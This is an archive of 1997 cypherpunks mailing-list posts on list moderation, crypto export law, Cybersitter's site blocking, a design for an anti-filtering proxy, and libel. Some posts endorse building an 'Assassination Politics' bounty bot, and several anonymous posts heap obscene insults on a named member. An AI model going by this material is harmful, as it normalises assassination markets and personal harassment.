Sandy Sandford continues to junk crypto-relevant submissions to the "flames"
list.  

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 16:06:59 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701301948.LAA18798@mail.pacifier.com>
Message-ID: <199701310002.SAA11258@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> At 01:03 AM 1/28/97 -0600, Igor Chudov @ home wrote:
> >jim bell wrote:
> >> 
> >> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >> >From:	jim bell (in response to Dimitri Vulis')
> >> >Look, I've proposed what I consider to be a remarkably consistent method to 
> >> >prevent the kind of political tyranny that you criticize, and I don't see
> >> >any recognition of this fact.
> >> >........................................................
> >> >
> >> >1) Jim, why do you insist on discussing this on an forum for encryption?
> >> 
> >> Because it's on-topic, that's why.  Because it's not merely a list 
> >> concerning METHODS of encryption, it's also about the _reasons_ for using 
> >> encryption, as well as the _effects_ (both small-scale and large-scale) of 
> >> using encryption.  
> >
> >Actually AP is one of the more interesting topics here. I think that there
> >is a clear need for an AP bot.
> >
> >Do you feel like writing it?
> 
> Desire?  Yes.  Ability?  Maybe.  Time? No.
> 

You can hire someone to write it.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 18:39:28 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.crl.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701310156.RAA01139@toad.com>
Message-ID: <199701310239.SAA14891@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Sandy:
>> 
>> 1. it is unconstitutional to put a crypto genie in a bottle
>> in the first place.
>> 2. it is unconstitutional to make laws against ringing crypto bells.
>
>We do not disagree except neither of the metaphors I gave suggest
>anything about the "putting in the bag" part of the deal.  In no
>way does either suggest a right, power or even ability of anyone
>to limit any freedom.  They are mute on the subject.  Their sole
>meaning is that one CAN'T undo what is already done.  In the
>instant case, that means the wide-spread availability of strong
>crypto.

ability to use strong crypto is not "either or" but a matter of degree. the 
question is not "is strong crypto available", but, "how much harder would
the NSA's peeping be if ITAR was relaxed?  

the real question is, do we have the right to use strong crypto,
or don't we? if we don't then the government has the authority
to regulate it to its heart's content, *regardless* of whether
those laws are effective or not. cpunks seem to think that a govt
can only have *effective* laws. but there is obviously no such
constraint.

I think we need to approach it from the point of view that we
have the *right* to use strong crypto, and see if the supreme
court agrees. hence I'm very interested in the bernstein etc.
cases, which may be the ultimate breakthrough eventually..
there is no end to the blathering about genies, cats, or bells
that can sway the govt, but a single supreme court decision
can have a revolutionary effect.

again I still think the genie/cat/bell metaphor is a disservice to 
the cause, but feel free to defy me. 

just one crackpot's opinion, YMMV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Thu, 30 Jan 1997 17:33:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A comment on the censorship policy
Message-ID: <3.0.32.19970130192408.006879d8@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:19 AM 1/30/97 -0800, Toto wrote:

>  It is extremely easy to understand. Just read your own words.
>  The key word here is 'accurate' criticisms. This makes them 'flames',
>in Sandy's mind, because the purpose of the 'censorship experiment'
>was to place total control of the list in the hands of a man who
>rarely posts and doesn't seem to participate in the list discussions,
>as well as for the purpose of suppressing any real dissent that may
>arise from list members.

Interesting interpretation.  Mind you, I'm obliged to disagree.

My understanding was that the moderator is supposed to ONLY
filter out ads and utterly-content-free messages.  (Mind you,
I took the smart out and subbed to cp-unedited, so I'm in
no place to judge.)  If the idea was to place control in the
hands of someone who rarely posts, why not give it to me?
There are probably a few hundred of the real addresses on this
list (not the mail-echoers) that have never posted.

>  Also, one of the reasons that the moderation process is so 
>haphazard, is that posts from some individuals are automatically
>routed to the 'flames' list at some times, and viewed/censored
>at other times, so that a few can be posted to the censored 
>list to give some half-hearted illusion of fairness in the
>censorship process. (which remains a bad joke, nonetheless).

Aha, a good point to be brought up: Sandy, are you autofiltering
anyone based on user name, or on certain keywords? Seems to
defeat the purpose of having a _human_ moderator.

dave
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvFJl3EZTZHwCEpFAQHGiQf/QjEj9QJ+9viADYdfSQJumpXhb8BF+MHQ
zbAYVGxLyt/WYA96cykFHYk2hCzkcfph/XDksSB6lmaStHFHfPCOAOHReu6xfHg2
3+3RyOI/eBJS8RS6z5dQBWTnKiu35sk5J2wMcnOWfMQXTWz8jYVAHnyBh9x39huP
+Iwj4jOE0Qelu4/FZhgVgo3tktw5sBGjmaZgOvu/24DoT2YPsG9EQ74i6suX0B15
eE1uPaP+2zumwYpV2ywYNbfFyExY2K9XM6k7M/ZNwpplMyf+plYigVUkNRP6KJWK
Gvp3bN6mAa2BF/bnoyCGTulC3By785Fk3s+EV2hUVknoZwH3SGF53w==
=Sl5a
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 19:37:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199701310337.TAA03170@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 AM 1/29/97 -0700, Michael Paul Johnson wrote:
>On Tue, 28 Jan 1997, Mark Rosen wrote:
>
>> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
>> about "unrestricted FTP sites." My program, Kremlin, is available for
>
>You should check the exact text yourself, but the way I read the EAR, you
>are not "exporting" strong cryptographic software without a license (exept
>to Canada, which needs no license) if you do things "such as"
>(1) have the guests to your site acknowledge that the EAR restricts
>export, (2) have the guests affirm that they can legally get the software
>(proper citizenship or residency & location), and (3) "check the address
>of the destination computer to see if it is in the USA" or Canada. The
>last one, I interpret rather loosely to mean that if the guest's email
>address domain isn't one commonly used in the USA or Canada, then I deny
>access. We all know that not all .com addresses are North American, but
>chances are really good that if the address ends in .ru, then the
>destination machine is probably not in North America. This is not a
>perfect way to prevent export, of course, but it is what the regulations
>say, as I read them. For a pointer to the regulations and to my access
>request form and crypto site, see http://www.sni.net/~mpj/crypto.htm
...
An easy crack to that would be to request access from a hotmail, or
similair, account.  This account would show up as being on US soil while the
account holder would not necessarily be so.  In this way, someone with an
account ending in your .ru would get through because h[is/er] e-mail request
originated from inside the U.S.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 19:38:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701310337.TAA03177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 PM 1/29/97 -0500, Mark Rogaski wrote:
>If I had experience with Netscape plugins and spare time, I'd
>try it myself.  But here's my proposed solution.  
>
>A plugin in Netscape intercepts all requests,  encrypt the URL
>with a pubkey algorithm, encode the string base64, send it as GET input to
>a proxy server.
>
>The proxy server decodes and decrypts the URL, gets the requested page,
>and returns it.  This beats out URL-based filtering.
>
>Still need to figure out the specifics of key-exchange.  If we use
>40-bit encryption, it's exportable, and it still works in our threat
>model (ie. we don't care if the watchers figure out the URL a few hours
>later).
>
>To beat out dropping packets with unacceptable pattern in them, we
>could use an SSL-based server as the proxy.
>
>The plugin could even have a nice little on/off switch and a list
>list of available proxies.
...
The above paragraph would be a problem, unless you wanted to update the
program with a great regualrity.  Each time the offending government got the
software and blocked all of those sites, the software would be worthless.
This would be no big deal if you could guarantee some means of someone
getting the software, which would certainly be illegal, again and again.
Better to have the user key in the proxy that h[is/er] cousin/uncle/best
friend/boss/client/guest told h[im/er] about.

Here is a similar idea.  Have your plug-in replace the part of Netscape that
checks the URL with INTERNIC or similar.  Have the system accept your
address for the proxy and send the requested URL to it, the server then
FTP's the contents of the page (and if server time is readily available, its
sub-pages), places them in a temporary directory on itself and allows your
computer to see it there thinking that it is on a totally different machine.
This way the proxy owner would not have to stay on top of the latest
restricted material.
The main problem would be that the system would absorb twice as much time,
once for the download to itself, and once to show it to you.
This is not terribly different to Netscape's caching of recently visited
pages in memory on the off-chance that you will return.
If you changed passwords at the same time that you changed addresses, and
reported them together, the government wouldn't be able to keep up.
When the government did its sweep of objectionable words, it would come to
this site that would have no such data.  Only by having the access password,
would they be able to reveal that site as a proxy.  If they knew the
password then they would already know that that was a proxy site because
they would have been given both the password and the address at the same time.
You then try to maintain several different addressess at a time, each with a
different password.  As the Government blocks one, change its password and
its address.
The software would be either two-piece, assuming a dedicated client plug-in,
or one-piece.
The pieces would be as follows.
The proxy, this software would be as small as possible and would only be a
front end.  Ideally this software should fit on one 3.5" disk.  The address
to this machine would be the address handed out.  In the one-part scenario,
this would be implemented as a web-page with a CGI script for the address.
The user types in the request and this bot fetches it, placing it in a
special directory for the use of this script, this directory would probably
be erased after the allotted space was filled, though not before, (you don't
stay logged in to the remote machine when using Netscape so erasing on
hang-up would mean continually reloading the data.)  The proxy would then
refresh your client with the requested information.  In the two piece
scenario, this proxy would interact with the plug-in in much the same way,
forgoing the CGI script.
The client, the plug-in, if present, would take over the Location field and
have a set up menu to type in the proxy's URL and password.  In that way the
user would see h[im/er]self as accessing the web page directly.  Certainly
more user friendly, once the client were configured, though not quite as
flexible.  In this system the government could make both accessing the proxy
and possession of the client illegal.  It would also be a problem for
persons who use a machine to which they have no control.  If the setup were
un changeable or reset after power-down, this system would require the user
to continually re set up the client.

The proxy could be as simple as an opening screen with a field for the
password and the URL.  The proxy should re-link all external links into its
own system so that the system can be transparent after the initial page.  In
other words, the links should be replaced with a second HTML document with
the password and search-criteria inside in much the same way that
search-engines relay your request to itself, in the URL.  This would be a
simple script that changed all occurances of "A
HREF="HTTP://This.is.the/real/site.html"" to "A
HREF="internal/directory.html
Query?=HTTP://This.is.the/real/site.html+password""


           





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 17:23:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Get cybersitter to block your ISP
In-Reply-To: <5ckclk$6kl@kew.globalnet.co.uk>
Message-ID: <FeeD2D15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!news.panix.com!panix!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!howland.erols.net!rill.news.pipex.net!pipex!news-lond.gsl.net!news.gsl.net!news-feed1.globalnet.co.uk!kew.globalnet.co.uk!usenet
From: pevans@globalnet.co.uk.removethispart (evans-the-swim)
Newsgroups: alt.privacy,alt.censorship,alt.revenge,news.admin.censorship,alt.html
Subject: Get cybersitter to block your ISP
Message-ID: <5ckclk$6kl@kew.globalnet.co.uk>
Date: Mon, 27 Jan 1997 20:16:16 GMT
Lines: 153
NNTP-Posting-Host: client856c.globalnet.co.uk
X-Newsreader: Forte Free Agent 1.0.82

To all readers:

I suggest that you do as I have done.  If you have a web page, add a
link (or many) dealing with Cybersitter, and email Mr. Milburn.
Here's my example...

Mr. Milburn:

I have been reading the reports of you and your company's unethical,
deceptive, bullying, and probably defamatory practices.  It appears
that your response to critics is to add their ISP to the list of sites
blocked by your software.

Accordingly, I have added to my home page links to various sites and
files which will inform the reader of the true nature of your agenda.
I am also suggesting to readers in all the newsgroups that relate to
this issue that they do the same.  My hope is that they will respond
by doing so, and in turn force you to add so many ISP's to your list
that you effectively restrict your users from the entire net.  

If successful, this will lead ultimately to the mass realisation that
Cybersitter does not do what it is advertised to do, and that people
wishing to "protect" their children from influences with which they
disagree should choose other methods, and that you and your company
will disappear as yet another burp in the turgid indigestion of the
net.

Please respond when you have added my ISP to your list of blocked
sites.  Feel free to email my postmaster as well.

A sample of the information available to visitors to my site follows:

=============================================




Date: Sun, 19 Jan 1997 14:36:55 -0800
From: Jonathan Wallace <jw@bway.net>
Subject: 1--Solid Oak Blocking Software & Ethical Spectacle

FOR IMMEDIATE RELEASE

Contact: Jonathan Wallace
         jw@bway.net

	NEW YORK CITY, January 19, 1997--In an apparent act of
retaliation against a critic of the company, Solid Oak Sofware
has added The Ethical Spectacle (http://www.spectacle.org) to
the list of Web sites blocked by its Cybersitter software.

	The Ethical Spectacle is a monthly Webzine examining
the intersection of ethics, law and politics
in our society, which recently urged its readers not to
buy Cybersitter because of Solid Oak's unethical behavior.
The Ethical Spectacle is edited by Jonathan Wallace, a New York-
based software executive and attorney who is the co-author,
with Mark Mangan, of Sex, Laws and Cyberspace (Henry Holt, 1996),
a book on Internet censorship.

	"In the book," Wallace said, "we took the position--
naively, I now think--that use of blocking software by parents
was a less restrictive alternative to government censorship.
We never expected that publishers of blocking software would
block sites for their political content alone, as Solid Oak
has done."

	Solid Oak describes its product as blocking sites
which contain obscene and indecent material, hate speech,
and advocacy of violence and illegal behavior. In late 1996,
computer journalists Declan McCullagh (declan@well.com)
and Brock Meeks (brock@well.com) broke the story that
Cybersitter blocked the National Organization for
Women site (http://www.now.org)
along with other political and feminist organizations.
In addition, the product blocked entire domains such as
well.com, maintained by the venerable Well online service.

	McCullagh and Meeks implied that they had received an inner
look at the Cybersitter database of blocked sites from someone
who had reverse engineered the software. Shortly afterwards,
Solid Oak asked the FBI to begin a criminal investigation of
the two journalists and accused college student Bennett Haselton
(bennett@peacefire.org) of being their source.
Though McCullagh, Meeks and Haselton all
denied he was the source (or that anything illegal
had occurred), Solid Oak president Brian Milburn called
Haselton an "aspiring felon" and threatened to add
his Internet service provider to the blocked list if it did
not muzzle Haselton.

 	Haselton came to Milburn's attention by founding Peacefire,
a student organization opposing censorship. On his Web pages
 (http://www.peacefire.org), Haselton posted an essay called
"Where Do We Not Want You to Go Today?" criticizing
Solid Oak. The company promptly added Peacefire to its
blocked list, claiming   that Haselton had reverse
engineered its software, an allegation for which the
company has never produced any evidence.

	"At that point," Wallace said, "I felt Milburn was
acting like the proverbial 800-pound gorilla. I added a
link to the Spectacle top page called 'Don't Buy Cybersitter'
(http://www.spectacle.org/alert/peace.html).
Anyone clicking on the link would see a copy of Bennett's
'Where Do We Not Want You to Go' page with some added
material, including my thoughts on the inappropriateness
of Solid Oak's behavior. I wrote the company, informing
them of my actions and telling them that they
misrepresent their product when they claim it blocks only
indecent material, hate speech and the like."

	Solid Oak has now responded by blocking The
Ethical Spectacle. "I wrote to Milburn and to
Solid Oak technical support demanding an explanation,"
Wallace said. "I pointed out that The Spectacle does not fit
any of their published criteria for blocking a site.
I received mail in return demanding that I cease writing
to them and calling my mail 'harassment'--with a copy
to the postmaster at my ISP."

Wallace continued: "With other critics such as Declan,
Brock and Bennett, Solid Oak has claimed reverse
engineering of its software, in supposed violation
of its shrink-wrapped license. I have never downloaded,
purchased or used Cybersitter, nor had any access to
its database. I believe that Solid Oak's sole reason
for blocking my site is the 'Don't Buy Cybersitter'
page, criticizing the company's bullying behavior."


	The Ethical Spectacle includes the internationally
respected An Auschwitz Alphabet
(http://www.spectacle.org/695/ausch.html), a compilation
of resources pertaining to the Holocaust. "Sixty
percent of the Spectacle's traffic consists of visitors to the
Holocaust materials," Wallace said. "Schoolteachers have
used it in their curricula, it was the subject of a lecture at
a museum in Poland some weeks ago, and every month, I get
letters from schoolchildren thanking me for placing it
online. Now, due to Solid Oak's actions, Cybersitter's
claimed 900,000 users will no longer have access to it."

Solid Oak can be contacted at blocking.problems@solidoak.com,
or care of its president, Brian Milburn (bmilburn@solidoak.com.)

      -----------------------------------------------
Jonathan Wallace
The Ethical Spectacle http://www.spectacle.org
Co-author, Sex, Laws and Cyberspace http://www.spectacle.org/freespch/

"We must be the change we wish to see in the world."--Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 11:56:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PICS] Financial Cryptography
Message-ID: <19970130194905.25337.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopehead Vulgar K{arcinogen} Of The Moment has been fired for
stealing blow jobs.

       |\_/|
       (0_0)     Dr.Dopehead Vulgar K{arcinogen} Of The Moment
      ==(Y)==
  ---(u)---(u)---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 19:52:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199701310352.TAA13485@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


What a joy to make a public mockery of Dogfucker L"amprey" Vulis
K"adaver" Of The Moment!

            __[I]__
              o-o'
       __oOo__(-)_oOo__ Dogfucker L"amprey" Vulis K"adaver" Of The Moment
               V






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Thu, 30 Jan 1997 21:13:16 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <01BC0EF3.011F46C0@king1-03.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Phil Karn

You have to admit that it is far more consistent to treat both the
book and the floppy as a munition than to take the position DoS
eventually took. Even if the more consistent position is a far more
restrictive one that has even less chance of surviving a court
challenge.
...........................................................

In terms of consistency, if the government  reserved the right to control 
printed source code (in the future),  and books and floppys containing it 
are considered munitions, then cryptographers, who have it in their heads, 
would also be considered munitions.

They would have to be prohibited from leaving the country and constrained 
not only from using the internet, but from any kind of communications 
medium.  Ian Goldberg would not be allowed to visit Anguilla or participate 
in any more contests.  :>)

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 30 Jan 1997 23:04:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: job opportunities
Message-ID: <v03010d07af1724cb5e1b@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea whether members of this list are interested in these kinds
of jobs, but hey, can't hurt to ask.

For the next 3 months (until April 30), Farallon Communications is trying
to focus on filling several key engineering positions in the Netopia and
LAN groups.  (Netopia is a product line of ISDN devices)  My wife works at
Farallon in product marketing for Netopia stuff.  They started out as a
Macintosh networking company and have gone "Internet."

Firmware Engineers:  3 for Netopia and 1 for LAN

Hardware Engineers:  1 for Netopia and 1 for LAN

There is some flexibility for the firmware positions to work either in
Alameda or San Jose.  I'm not sure about the job descriptions; I just
looked at http://www.farallon.com/corp/jobs/index.html and this might
accurately describe some of the positions mentioned above:

Sr. Staff Engineer (WAN) -- San Jose and Alameda
4 Openings
Senior member of the software development team responsible for
architecture, design and implementation of embedded systems
firmware on new and existing WAN products. Hands-on design
position requiring a BSCS or a BSEE with advanced degree preferred.
The ideal candidate will have 10+ years networking or
telecommunications development experience and expert knowledge of
multi-protocol routing and bridging. Expertise in networking layer
technologies/protocols and data compression required.

Lee Tien








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 21:27:02 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701310527.VAA04959@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:15 AM 1/30/97 -0800, jim bell wrote:
>What you're presented (included in its entirety below) is what I've come to 
>call an "AP story problem."   I've worked through many of those myself; 
>their main problem is that they don't carefully describe why _each_ person 
>in the "play" you've described would be motivated to do what it's claim he 
>does, and why he DOES NOT do other things to fix the situation he's in.  
>Remember, I'm not merely talking about the main character, but also the ones 
>who are (apparently?) incidental.  
>
>For just one example, you said:    "conventional bodyguards could be 
>included, ones with no real pay but with the fore knowledgethat they will be 
>buried with the tyrant."
>
>What motivates these people?  Are they hostages?  If they're hostages, then 
>presumably that means they're motivated to seek the death of anyone who is 
>holding them.  What about their relatives; don't they have any sympathy for 
>those who are taken?  Why don't they donate to AP to see the lead guy dead?

As I stated in the bottom, the children would be privaledged.  They would
merely be told that it is a great honor.  It could very well be.  Assuming
that the tyrant did not die, these children would live in comparable luxery.
They would be at risk only if the tyrant was.  By keeping the children at
hand, the parents would balk at taking action against the tyrant, not only
their own action, but also that of others.  The children would merely be
there to thwart the attempts of others.
The "Tiger Teams" would have to get through security on their own, takers on
this offer would be very few unless the bounty were great, the defenses were
weak, or the thrill level were high.  An encounter with a bloodless thrill
seaker might go like this "I hacked your system, here's proof, now pay up",
remember, for some, it is the proof that a thing can be done that is the
greatest thrill.  Also, the tyrant would feel bound to keep h[is/er] word to
avoid others deciding to take the challenge for the smaller sum.

Remember also that 10% controls 90%, this means that each potential tyrant
has on average 9% of the wealth, while the remaining 90% has about 1/90th of
the remaining 10%.  To match the wealth of the tyrant, these people would
have to get together 90% of their numbers and commit everything.
If 100 people were in the total population, and 1000 dollars in circulation,
10 people would be tyrants with about 90 dollars apiece, the remaining 90
people would each have 100/90 dollars, or 1.11 dollars each.  It would take
81 of them together to match the wealth of one.  With that many, they might
as well attack outright because they would now include practically all of
the population.  If the tyrant had more than 9 of the peasants close to him,
he would be at risk by conventional means.
The real threat would not be the people, of limited means, using the system.
But rather other tyrants using the system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 14:02:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] ElGamal
Message-ID: <19970130214809.27595.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Here, Dimwit Vandal K[arcass] Of The Moment descends into total
inanity. He should have a cold shower and/or a Turkish coffee.

 ^-^-^-@@-^-^-^
      (..)     Dimwit Vandal K[arcass] Of The Moment





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 14:00:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Info please!
Message-ID: <19970130214811.27622.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dickhead L[axative] Vagina K[arcass] Of The Moment's abysmal
grammer, atrocious spelling and feeble responses clearly
identify him as a product of the American education system.

   ,_,
*-._W_,-* Dr.Dickhead L[axative] Vagina K[arcass] Of The Moment
 `-;-;-'
   " "





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 21:52:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701310552.VAA05346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 1/30/97 -0600, William H. Geiger III wrote:
...
>I would also want to make the ISP's liable for their users accessing this
info. That way I
>can intimidate them into doing all the work for me. (You can see
>this approach in several areas of US law enforcemant. Arrest bartenders for
>serving minors, arrest store clerks for selling cigaretts to minors, shut
down of BBS for
>users posting "dirty pictures", going after ISP's for pirated
>software and other copyright infringments by their users.)
...
I live in Oklahoma.  Here at least, bartenders don't sell beer to minors,
they sell it to persons who are clearly older.  Older friends of the minors,
and minors who finished puberty early.  The bartenders only protection is to
close up shop, depriving everyone of a drink.
The same is true of tobacco products.  About 8 months ago I had a girl who I
barely knew, except that she was obviously in Junior High, recognize me, ask
me if I was 18, to which I replied yes, and ask me to buy her a carton of
cigerettes, to which I declined.  Not for any law imeding me, but I consider
suicide a right, but I will not help someone kill themselves.  This girl,
more than likely already hooked on the drug, had probably used this
technique numerous times before without a glitch.
The same would be true of blockingon-line content.  If it were done right.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 30 Jan 1997 20:12:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199701310413.WAA00226@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 29 Jan 1997 10:46:57 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> 
> * The 1st Amendment does protect some lies.

No, it protects speech. The Constitution is meant to protect citizens from a
priori constraints on their speech, not the results of the content ex post
facto.

It is clearly not in the best interest of society to limit opinions or
fiction.

> If I say "Jim Choate is a
> Venusian albatross," the statement is probably (?) a lie,

No, for it to be a lie there must be a potentiality of its truth. A nonsense
statement which happens to fit the syntactical rules of a language wouldn't
qualify.

A more apt situation would be, "Hey, <some person>, I saw <your name> in a
public restroom blowing the President's pink torpedoe and <your name> was
begging for more!". The statement should have to be transmitted to
<some person> without the permission of <your name>.

The legal standard should be that if you make statements purported to be
true about a third party without their prior consent you should be held to
a minimum standard of evidence demonstrating the actuality of your statement.

A democratic society should have no tolerence for libel, slander, or other
forms of lies.

> but I doubt
> you'll prevail in a libel suit. What damages do you have? That's the key,
> I believe -- the statement has to lower you in the opinion of others.

Which is exactly one aspect of the problem. Wrongs should not be based on
quantity or opinion. By focusing on what others think trivializes the issue
at hand, a untruth about a person has been passed off as a truth.

> * Many 1st Amendment experts don't believe in the legal concept of libel. 
> It is, they say, a rich man's game

Exactly, instead of equal protection under the law we have a specieocracy.

> -- if I'm libeled by the NYT, I'm
> probably not going t be able to sue them, but Donald Trump can. Moreover,
> if I don't have the resources to sue but the statement is libelous, it
> creates a *presumption* in the minds of the readers that the article is
> certainly true. (If it were not, I would have sued, right?) 

Another good example of why our system is broke.

> * The concept you may be searching for is consensual speech, which I
> believe a society should tolerate. Libelous speech isn't consensual,
> though obscenity is.

There is no such thing as 'obscenity' just as there is no such thing as
'community standard'. These are the results of mental masturbation to
justify some power freaks alterior motives.

No, what I should be permitted to say should not rest on what others may
permit. If so then I should have a say in what they can say, which means I
have a say in what they can say about what I can say, ... (got it yet?)

What we need is a fundamental change in the legal system which focuses on
first principles and results, not social status or wealth or the potential
for gain.

Perhaps what we need is a legal system where both the defence and
prosecuting attornies are selected by lot. We already have such a system
applied to the defence. If it is considered sufficient for a defence it
should qualify as sufficient for prosecution. Each practicing attorney would
receive a stipend allocated by the appropriate legislative body. The court
and police (who should represent the people in general) would provide both
parties the results of any tests and equal and simultaneous access to all
evidence. If a person wants additional legal council they can buy it from
their own pocket but the attorney is limited to act only as a adjunct to the
appointed attorney (ie they would not be allowed to speak in court).

In civil cases the plaintiff should place a bond, set at some percentage of
the maximum permissible award, at the time the case is filed. This would at
least cover the general costs of the court and limit nuisance cases.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <foodie@netcom.com>
Date: Thu, 30 Jan 1997 22:26:30 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701310506.VAA04697@toad.com>
Message-ID: <v03010d08af173ece9529@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:39 PM -0800 on 1/30/97, Vladimir Z. Nuri wrote:

> those laws are effective or not. cpunks seem to think that a govt
> can only have *effective* laws. but there is obviously no such
> constraint.

No such constraint in the _making_ of laws, of course. We have
laws on the books forbidding the utterance of "Oh boy", the carrying
of an ice cream cone in one's pocket, and the act of driving without
insurance, all functioning to varying degrees of effectiveness, 'on
the books' in various states.

The question Sandy seems to me to be raising is not whether a group
of people can issue a decree, but rather whether the interaction of the law
books, the interested parties on either side of the debate, and the mostly
disinterested real world will intersect such that the laws passed can
be used to effectively hamper the activities of the parties who wish
to go about the business proscribed. This is not an either/or question,
as you so aptly note (I hope Kirkegaard doesn't mind).

Of course, methods of this nature specifically regarding the uses of
privacy is what this list is all about.

Not an argument; just a clarification.

-j

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                foodie@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 20:28:20 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: David E. Smith / Known Flamer
In-Reply-To: <199701310211.SAA01422@toad.com>
Message-ID: <32F19191.239B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:

> My understanding was that the moderator is supposed to ONLY
> filter out ads and utterly-content-free messages.

  That seems to be a very common misunderstanding--one which will
remain without question on the censored list, since they have
chosen to remain behind the ElectroMagnetic Curtain.

>  (Mind you, I took the smart out and subbed to cp-unedited,
> so I'm in no place to judge.)

  You're in a far better place to judge than those who have 
chosen to remain spoon-fed their world-view.

> Aha, a good point to be brought up: Sandy, are you autofiltering
> anyone based on user name, or on certain keywords? Seems to
> defeat the purpose of having a _human_ moderator.
> 

  You realize, of course, that your question is moot, since this
post of yours was already thrown in the crapper/flame-list.
  It seems that questioning the process is a 'flame'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Thu, 30 Jan 1997 19:45:44 -0800 (PST)
To: cypherpunks@toad.com
